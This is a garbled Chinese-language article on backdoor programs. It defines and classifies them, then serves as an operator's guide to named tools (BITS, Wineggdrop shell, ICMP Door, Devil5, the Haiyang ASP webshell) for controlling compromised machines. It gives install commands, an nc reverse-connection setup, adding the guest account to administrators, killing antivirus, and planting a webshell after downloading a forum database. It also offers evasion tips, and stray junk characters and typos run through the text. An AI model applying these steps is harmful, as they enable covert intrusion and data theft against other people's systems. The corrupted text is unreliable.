后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
原理
后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。
权限,以便
远程机器对本机的控制。区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于
特洛依木马 后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。
后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
而且,在病毒命名中,后门一般带有
backdoor字样,而木马一般则是
Trojan字样。
特点
后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,当你输入特定的密码时,你就能以管理员的权限来存取系统。
后门能相互关联,而且这个 技术被许多黑客所使用。例如,黑客可能使用密码破解一个或多个账号密码,黑客可能会建立一个或多个账号。一个黑客可以存取这个系统,黑客可能使用一些 技术或利用系统的某个漏洞来
提升权限。黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。也可能会安装一个
木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。
分类
后门可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法:
网页后门
此类后门程序一般都是
服务器上正常 的web服务来构造自己的连接方式,比如非常流行的
ASP、cgi脚本后门等。
网页后门,网络上针对
系统漏洞的攻击事件渐渐少了,因为大家在认识到网络安全的重要性之后,最简单却又最有效的防护办法:升级,都被大家所认同,所以系统漏洞在以后的岁月中存活的周期会越来越短,而从最近的趋势来看,脚本漏洞已经渐渐取代了系统漏洞的地位,非常多的人开始研究起脚本漏洞来,sql注入也开始成为各大安全站点首要关注热点,找到
提升权限的突破口,进而拿到服务器的系统
权限。
asp、CGI、PHP这三个脚本大类在网络上的普遍运用带来了脚本后门在这三方面的发展。
线程插入后门
利用系统自身的某个服务或者
线程,将后门程序插入到其中,具体原理原来《
黑客防线》曾具体讲解过,感兴趣的朋友可以查阅。这也是最流行的一个后门技术。
扩展后门
所谓的“
扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的
安全工具包,能实现非常多的常见安全功能,适合新手使用————但是,功能越强,个人觉得反而脱离了后门“隐蔽”的初衷,具体看法就看各位使用者的喜好了。
c/s后门
和传统的
木马程序类似的控制方法,采用“客户端/
服务端”的
控制方式,通过某种特定的访问方式来启动后门进而控制
服务器。
root kit 6o f3H 3B
这个需要单独说明,其实把它单独列一个类在这里是不太恰当的,但是,root kit的出现大大改变了后门程序的思维角度和使用理念,可以说一个好的root kit就是一个完全的系统杀手!后文我们讲涉及到这方面,一定不会让大家失望!
上面是按照技术做的分类,除了这些方面,正向连接后门、反向连接后门等分类也是很常见的,其实如何分类是编程者考虑的事,广大的使用者就不用考虑那么多了,我们看重的,只是功能!
线程插入
防火墙拥有“应用程序访问权限”的功能,也不能对这样的后门进行有效的警告和拦截,也就使对方的防火墙形同虚设了!因为对它的查杀比较困难,这种后门本身的功能比较强大,是“居中家旅行、入侵攻击”的必备品哦!
这类的典范就是国内提倡网络共享的
小榕的BITS了,从它的推出以来,各类安全工具下载园地里BITS就高居榜首,非常多的朋友使用它的过程中感到了方便。类型:
系统后门使用范围:wind200/xp/2003
隐蔽程序:★★★★☆
使用难度:★★★☆☆
查杀难度:★★★★☆
BITS其实是Background Intelligent Transfer Servicer的缩写,可以在不知不觉中实现另一种意义的典型的
线程插入后门,有以下特点:
进程管理器中看不到;平时没有端口,只是在系统中充当卧底的角色;提供正向连接和
反向连接两种功能;仅适合用于windows 200/xp/2003。
运用举例
首先我们用3389登录上肉鸡,确定你有SYSTEM的权限,将BITS.DLL拷贝到
服务器上,执行CMD命令: 4 #R Br A
rundll32.exebits.dll,install
这样就激活了BIST,程序用这个特征的字符来辨认使用者,也就相当于你的密码了,然后
卸载:rundll32.exe BITS.dll,Uninstall
这是最简单的使用,这个后门除了隐蔽性好外,还有两大特点是非常 值得借鉴的:
端口复用和正
反向连接。虽然很多朋友经常听到这两个名词,但并不了解它们,端口复用就是利用系统正常的TCP端口通讯和控制,比如80、139等,这样的后门有个非常 大的好处就是非常 隐蔽,不用自己开端口也不会暴露自己的访问,因为通讯本身就是系统的正常访问!另一个是反向连接,这个很常 见,也是后门中一个经典思路,因为从
服务器上主动方问外边是不被禁止的,很多很厉害的防火墙就怕这点!
BITS的正向连接很简单,大家可以参考它的README,这种方式在服务器没有防火墙等措施的时候很管用,可以方便地连接,但是遇到有防火墙这样的方式就不灵了,得使用下面的
反向连接方式: 70 +g3l
在本地使用
NC监听(如:nc -l -p 1234)
用NC连接目标
主机的任何一个防火墙允许的
TCP端口(80/139/445……)
输入激活命令:[email=hkfx@dancewithdolphin[rxell]:1.1.1.1:2222]hkfx@dancewithdolphin[rxell]:1.1.1.1:2222[/email] ^q/hQ , 4
目标主机的CMD将会出现NC监听的端口2222,这样就实现了绕过防火墙的功能了。
扩展后门
所谓的扩展后门,在普通意义上理解,可以看成是将非常多的功能集成到了后门里,让后门本身就可以实现很多功能,方便直接控制肉鸡或者
服务器,这类的后门非常受初学者的喜爱,通常集成了文件上传/下载、
系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能,本身就是个小的工具包,功能强大。
Wineggdroup shell j;类型:系统后门
使用范围:win2000/xp/2003
隐蔽程度:★★★★☆
使用难度:★★☆☆☆
危害程度:★★★★☆
查杀难度:★★★★☆
这个后门是扩展后门中很有代表性的一个,功能这全面让人叹为观止,它能实现如下比较有特色的功能:
进程管理,可查看,杀进程(支持用进程名或PID来杀进程);
注册表管现(查看,删除,增加等功能);服务管理(停止,启动,枚举,配置,删除服务等功能)端口到
程序关联功能(
fport);系统重启,关电源,注销等功能(reboot,poweroff,shutdown,logoff);
嗅探密码功能;安装终端,修改终端端口功能;端口重定向功能(多
线程,并且可限制连接者IP);HTTP服务功能(多线程,并且可限制连接者IP);Socd5代理功能(支持两种不同方式验证,可限制连接者IP);克隆账号,检测克隆账户功能(clone,checkclone);加强了的FindpassWord功能(可以得到所有登录用户,包括使用克隆账户
远程登录用户密码);HTTP代理(完全匿名,支持oicq、 MSN、mirc等程序);其他辅助功能,http下载,删除日志,
系统信息,恢复常用关联,枚举系统账户等。
当网络上刚推出这个后门的时候,非常多的人用它来替换自己原来使用的后门,一时间各处赞扬之声迭起,但多为一些普通的打捞手的心声,其实它和“后门”的原始定义是有出入的:一旦你需要实现越多的功能,那你的程序在执行、隐藏、稳定等方面就需要考虑非常多的问题,一个疏忽就会导致全盘皆败,所以不建议将此后门用在需要非常隐蔽的地方。
运用举例
在安装后门前,需要使用它自带的EditServer.exe程序对
服务端进行非常详细的配置,从10个具体配置中,包括了插入
线程、密码、IP登录邮件通告等方面,不难看出它的功能是非常强大的,隐蔽性也很强,下面说几个在入侵中常用的功能,相信经常玩入侵的朋友一定能发现它的强大之处:
Fport:列出进程到端口的列表,用于发现系统中运行程序所对应的端口,可以用来检测常见的隐蔽的后门。
Reboot:重启系统,如果你上传并运行了其他后门程序,并需要重启机器以便让后门正常工作,那使用这个命令吧! Uz
Shell:得到一个Dos Shell,这个不多讲了,直接得到
服务器或者肉鸡上的cmd shell。
Pskill PID或
程序名:用于杀掉特定的服务,比如杀毒软件或者是防火墙。
Execute程序:在后台中
执行程序,比如sniffer等。http://ip/文件名 保存文件名:下载程序,直接从网上down一个后门到服务器上。
Installterm端口:在没有安装
终端服务的win2k服务版的系统中安装终端服务,重启系统后才生效,并可以自定义连接端口,比如不用3389而用其他端口。
StopService/StartService:停止或者启动某个系统服务,比如telnet。
Redirect:TCP数据转发,这个功能是后门程序中非常出色的一个功能,可以通过某一端口的数据转发来控制内网的机器,在渗透入侵的时候非常管用!
EnumService:列举所有自动启动的服务的资料,比如后门、木马。
RegEdit:进入注册表操作模式,熟悉注册表的使用者终于在后门中找到了福音! !
Findpassword:得到所有登录用户密码,比我们常用的findpass功能可强多了。
总体来讲,Wineggdrop shell是后门程序中很出彩的一个,它经过作者几次大规模的修改和升级,已经趋于稳定,功能的强大当然没得说,但是由于功能太强大,被查杀和怀疑是难以避免的,所以很多人在使用Wineggdrop shell一段时间后就发现肉鸡飞了,其实是很正常的事,我你出不用气馁,其实用很简单的方法就可以很好地提高它的隐蔽性,下文将有说明。
相对于Wineggdrop shell来说,独孤剑客的winshell在功能上就不那么全面了,但是笔者推荐新手更多的使用winshell而不是Wineggdrop shell,因为winshell功能除了获得一个shell以外,只加入了一些重启、关闭
服务器的命令,功能相对简单,但完全使用系统自带的cmd来执行命令,对系统学习和掌握也是非常有帮助的!
Winshell和wolf这两者都是国内早期顶尖的后门程序,程序的编制无疑是非常经典的,新手学习时使用这两款后门一定能让你明白很多系统相关东西,了解很多入侵思路和方法。
C/S后门
传统的
木马程序常常使用C/S构架,这样的构架很方便控制,也在一定程度上避免了“万能密码”的情况出现,对后门私有化有一定的贡献,这方面分类比较模糊,很多后门可以归结到此类中,比如较巧妙的就是ICMP Door了
类型:系统后门
使用范围:win2000/xp/2003 2Z6
隐蔽程度:★★★★★
使用难度:★★★☆☆
危害程度:★★★★☆
查杀难度:★★★★★
这个后门利用ICMP通道进行通信,所以不开任何端口,只是利用系统本身的ICMP包进行控制安装成系统服务后,开机自动运行,可以穿透很多防火墙——很明显可以看出它的最大特点:不开任何端口~只通过ICMP控制!和上面任何一款后门程序相比,它的
控制方式是很特殊的,连80端口都不用开放,不得不佩服务程序编制都在这方面独特的思维角度和眼光!
运用举例
这个后门其实用途最广的地方在于突破网关后对内网计算机的控制,因为很多机密数据都是放在内网计算机上的,而控制内网计算机并不是我们想到位的商业网络进行
入侵检测,它的网络内部并不像我们常见的内网那样非常容易入侵和控制,因为该公司本身涉及到一些网络安全的服务,所以内网
个人计算机的防护是很到位的,在尝试过很多后门后,最后ICMP Door帮我实现了成功的渗透内网!由此笔者开始爱上这个后门。
这个后门是采用的c/s构架,必须要使用icmpsend才能激活
服务器,但是他也有自己的先天不足:后门依靠ICMP进行通讯,经过冲击波的洗礼后,很少有服务器还接受ICMP包了,很多都屏蔽掉了它,所以用它来控制服务器不是一个好办法,这也是我为什么用它来控制内网计算机的原因了——内网很少有人屏蔽ICMP包吧?
账号后门
账号后门技术是指黑客为了长期控制目标计算机,通过后门在目标计算机中建立一个备用管理员账户的技术。一般采用克隆账户技术。克隆账户一般有两种方式,一个是手动克隆账户,一个是使用克隆工具。
程序案例
海阳顶端
这是ASP脚本方面流传非常广的一个脚本后门了,在经过几次大的改革后,推出了“海阳顶端ASP木马XP版”、“海阳顶端ASP木马红粉佳人版”等功能强大、使用方便的后门,想必经常接触脚本安全的朋友对这些都不会陌生。类型:
网页木马使用范围:支持ASP、WEB访问
使用难度:★☆☆☆☆
危害程序:★★★☆☆
查杀难度:★★★☆☆
服务器系统配置都相对安全,公开的
系统漏洞存在的机会很少,于是脚本方面的漏洞就开始火起来。首先我们通过某种途径获得一个服务器的页面权限(比如利用论坛上传达室类型未严格设置、SQL注入后获得ASP系统的上传权限、对已知物理路径的服务器上传特定程序),然后我们可以通过简单的上传ASP程序或者是直接复制海阳项端的代码,然后通过WEB访问这个程序,就能很方便地查阅服务器上的资料了,下面举个简单的便子(由于只是简单的介绍,下文便子不会太难或者太普遍,希望大家理解)。
leadbbs2.77曾经风靡网络,它是个很典型的ASP论坛,屏蔽了很多可以SQL注入的寺方,但是很多傻瓜级别的
网络管理员总是喜欢默认安装,然后启用论坛,我们只需要很简单地在IE中输入:WWW。***。COM/BBS/DATA/LEADBBS。MDB就能够直接下载该论坛的数据库了,而且没有MD5加密哦!,我们直接找到管理员的账户和密码,然后登录论坛,到管理界面将论坛的“联系我们”、“帮助”等ASP文件替换成我们的海阳项端代码,然后执行GUEST权限的CMD命令,方便的上传/下载将定程序、远程
执行程序等,这样一个隐藏的后门就建好了!取得
服务器的SYSTEM权限就看大家自己的办法了。
一般来讲,海洋的功能是非常强大的,而且不容易被查杀(一个朋友采取的方式是:先利用某个脚本漏洞上传
网页后门,再通过海洋上传另一个后门到隐蔽的路径,然后通过最后上传的后门来删除第一次上传的海洋,这样后门的存放路径就可以放得非常深了,普通管理员是很难发现的),如果管理员觉得自己可能中了这里边样的后门,可以利用论坛备份来恢复自己的页面系统,再配合
系统日志、论坛日志等程序检查系统,发现可疑ASP文件打开看看海洋是很好识别的,再删除就可以了。
脚本方面的后门还有CGI和PHP两面三刀大类,使用原理都差不多,这里就不再多介绍,在黑防论坛也收录了这三种后门,大家可以下载后自己研究。
devil5
类型:系统后门
使用范围:win200/xp/2003
隐蔽程度:★★★★☆
使用难度:★★☆☆☆
危害程序:★★★★☆
查杀难度:★★★☆☆
同BITS一样,Devil5也是
线程插入式的后门,和BITS不同的是它可以很方便的在GUI界面下按照自己的使用习惯定制端口和需要插入的线程,适合对系统有一定了解的使用都使用,由于是自定义插入线程,所以它更难被查杀,下面我们来看看它的使用。
道德使用它自带的配置程序EDITDEVIL5.EXE对后门进行常规的配置,包括
控制端口、插入线程、连接密码、时间间隔等方面关键点是对插入线程的定制,一般设置成系统自带的SVCHOST,然后运行后门就可以控制了。
我们用TELNET连接上去,连接的格式是:TELNET *** 定制的端口,它和其他后门不同之处在于连接后没有提示的界面,每次
执行程序也是分开的,必须要每次都有输入密码,比如我们丢掉了
服务器和管账户,可以激活GUEST后再将GUEST加到管理员权限,记得每次执行命令后加上“>密码”就可以了:net localgroup administrators guest /add >hkfx,然后你又可以控制服务器了。
很明显示,同榕哥的BITS相比,DEVIL5有一些缺陷:不能通过系统自带端口通讯、执行命令比较麻烦,需要每次输入密码而且不回显示输入内容,很容易出错。但是,它有自己的优势:插入
线程可以自已定制,比如设置IE的线程为插入的目标就比较难被查杀:自己提供了专门的查杀工具DELDEVIL5.exe,帮助防护者清理系统;而且它可以任意改名和绑定,使用灵活性上比BITS强……大家选择哪能款就看自己的喜好了。
另外,PortLess BackDoor等工具也是此类的后门,功能强大,隐蔽性稍差,大家有兴趣可以自己研究一下。
root kit
如果说上面的后门程序都各有千秋、各有所长的话,它们和经典的root kit 一比简直就是小巫见大巫了,那究竟什么样是root kit呢?
root kit出现于20世纪90年代初,在1994年2月的一篇安全咨询报告中首先使用了root kit这个名词。从出现至今,root kit 的
技术发展非常迅速,应用越来越广泛,检测难度也越来越大。其中钍对SunOS和Linux两种操作系统的root kit最多。
很多人有一个误解,他们认为root kit 是用作获得系统root访问权限的工具。实际上,root kit是攻击都用来隐蔽自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,进入系统后,攻击者会在侵入的主机中安装root kit,然后他将经常通过root kit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过root kit的嗅探器获得其他系统的用户和密码之后,攻击者就会利用这些信息侵入其他系统。
从*nix系统上迁移到windows系统下的root kit完全沿袭了这些“可怕”的功能!网络上常见的root kit 是
内核级后门软件,用户可以通过它隐藏文件、进程、系统服、系统驱动、注册表键和键值、打开的端口以及虚构可用磁盘窨。程序同时也在内存中伪装它所做的改动,并且隐身地控制被隐藏进程。程序安装隐藏后门,注册隐藏
系统服务并且
安装系统驱动。该后门技术允许植入reDirector,是非常难以查杀的一个东东,让很多网络管员非常头疼!
著名后门
最著名的后门程序,该算是微软的Windows Update了。Windows Update的动作不外乎以下三个:开机时自动连上微软的网站,将电脑的现况报告给网站以进行处理,网站通过Windows Update程序通知使用者是否有必须更新的文件,以及如何更新。如果我们针对这些动作进行分析,则“开机时自动连上微软网站”的动作就是后门程序特性中的“潜伏”,而“将电脑现况报告”的动作是“搜集信息”。因此,虽然微软“信誓旦旦”地说它不会搜集个人电脑中的信息,但如果我们从Windows Update来进行分析的话,就会发现它必须搜集个人电脑的信息才能进行操作,所差者只是搜集了哪些信息而已。